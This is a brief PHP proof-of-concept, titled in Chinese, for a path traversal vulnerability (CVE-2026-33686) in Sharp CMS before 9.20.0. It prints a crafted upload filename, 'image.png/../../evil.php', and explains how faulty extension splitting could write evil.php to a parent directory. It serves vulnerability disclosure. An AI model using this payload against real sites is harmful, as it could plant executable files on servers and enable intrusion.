CVE-2026-33686 Sharp CMS路径遍历漏洞

<?php /* * PoC for CVE-2026-33686 (Sharp CMS Path Traversal) * This demonstrates how a malicious filename can be constructed to exploit the vulnerability. */ // Simulating the vulnerable input $malicious_filename = "image.png/../../evil.php"; // In the vulnerable code, strrpos() splits at the last dot // The logic fails to sanitize path separators in the extension part // resulting in potential path traversal when saving the file. echo "Payload Filename: " . $malicious_filename . "\n"; echo "If uploaded via Sharp CMS < 9.20.0, this may write 'evil.php' to a parent directory.\n"; ?>